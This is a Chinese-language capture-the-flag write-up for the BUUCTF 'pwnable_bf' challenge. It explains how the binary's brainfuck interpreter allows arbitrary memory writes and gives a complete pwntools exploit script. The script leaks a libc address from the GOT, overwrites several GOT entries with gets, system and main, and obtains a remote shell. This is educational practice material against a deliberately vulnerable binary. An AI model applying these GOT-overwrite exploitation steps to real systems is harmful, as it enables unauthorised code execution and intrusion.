(BUUCTF)pwnable_bf

文章目录

  • 前置知识
  • 整体思路
  • exp

前置知识

  • got

整体思路

这道题看起来是在解析brainfuck,我对这方面的知识可以说是一窍不通,但是看了看代码感觉并不需要我们懂brainfuck

首先我们需要输入一个长度最大为1024的字符串,然后其会逐字符解析该字符串。

其中,<>可以移动指针p指向的内容,初始的p0x0804A0A0

+-可以使得指针p指向的内容加一或者减一。通过这些目前我们可以实现任意地址写了。

.可以输出p指向的字符,因此要输出一个32位地址需要输出4次。

,可以从标准输入读取一个字符,优点是,可以在我们泄露了libc地址之后再使用,读入泄露出来的libc的地址。

我的exp比较混乱,这里详细说一下思路,师傅们可以自行实现:

  • 通过+ - .来泄露putsgot表,获取libc地址
  • 更改memset函数的got表为gets函数的地址
  • 更改fgets函数的got表为system函数的地址
  • 更改putchargot表为main函数地址
  • 输入一个,来触发putchar,从而返回到main函数,由此输入/bin/sh获得shell

exp

from pwn import *
from LibcSearcher import *

filename = './bf'
context(log_level='debug')
local = 0
all_logs = []
elf = ELF(filename)
# libc = elf.libc
libc = ELF('./libc.so.6')

if local:
    sh = process(filename)
else:
    sh = remote('node5.buuoj.cn', 29708)

def debug():
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid, 'b *0x08048791')
    pause()

def leak_info(name, addr):
    output_log = '{} => {}'.format(name, hex(addr))
    all_logs.append(output_log)
    success(output_log)

def add_addr():
    return b'>'

def dec_addr():
    return b'<'

def add_value():
    return b'+'

def dec_value():
    return b'-'

def output_value():
    return b'.'

def change_byte():
    return b','

raw_p = 0x0804A0A0
# 0x0804A080
fini_array = 0x08049F0C + 4
main_addr = elf.sym['main']

# print('puts_got: {}'.format(hex(elf.got['puts'])))

sh.recvuntil('type some brainfuck instructions except [ ]\n')
payload = (raw_p - (elf.got['puts'] + 3))*dec_addr() + output_value() + dec_addr() + output_value() + dec_addr() + output_value() + dec_addr() + output_value()
payload += 0x18*add_addr() + change_byte() + add_addr() + change_byte() + add_addr() + change_byte() + add_addr() + change_byte()
payload += 7*dec_addr() + change_byte() + add_addr() + change_byte() + add_addr() + change_byte() + add_addr() + change_byte()
payload += (0x1c + 3)*dec_addr() + change_byte() + add_addr() + change_byte() + add_addr() + change_byte() + add_addr() + change_byte()

payload += output_value()

sh.sendline(payload)
sh.send(p8(main_addr & 0x000000ff))
sh.send(p8((main_addr & 0x0000ff00) >> 8))
sh.send(p8((main_addr & 0x00ff0000) >> 16))
sh.send(p8((main_addr & 0xff000000) >> 24))
# 这里写成sh.recv(1)和sh.recv(3)是因为直接写成sh.recv(4)会收不到...
result = b''
result += sh.recv(1)
result += sh.recv(3)
puts_got = u32(result[::-1])
leak_info('puts_got', puts_got)
libc.address = puts_got - libc.sym['puts']
leak_info('libc.address', libc.address)

sh.send(p8(libc.sym['gets'] & 0x000000ff))
sh.send(p8((libc.sym['gets'] & 0x0000ff00) >> 8))
sh.send(p8((libc.sym['gets'] & 0x00ff0000) >> 16))
sh.send(p8((libc.sym['gets'] & 0xff000000) >> 24))

sh.send(p8(libc.sym['system'] & 0x000000ff))
sh.send(p8((libc.sym['system'] & 0x0000ff00) >> 8))
sh.send(p8((libc.sym['system'] & 0x00ff0000) >> 16))
sh.send(p8((libc.sym['system'] & 0xff000000) >> 24))


sh.recvuntil('type some brainfuck instructions except [ ]\n')
payload = '/bin/sh\x00'
sh.sendline(payload)
sh.interactive()
# pause()

你可能感兴趣的:(pwn_writeup,网络安全,安全,系统安全)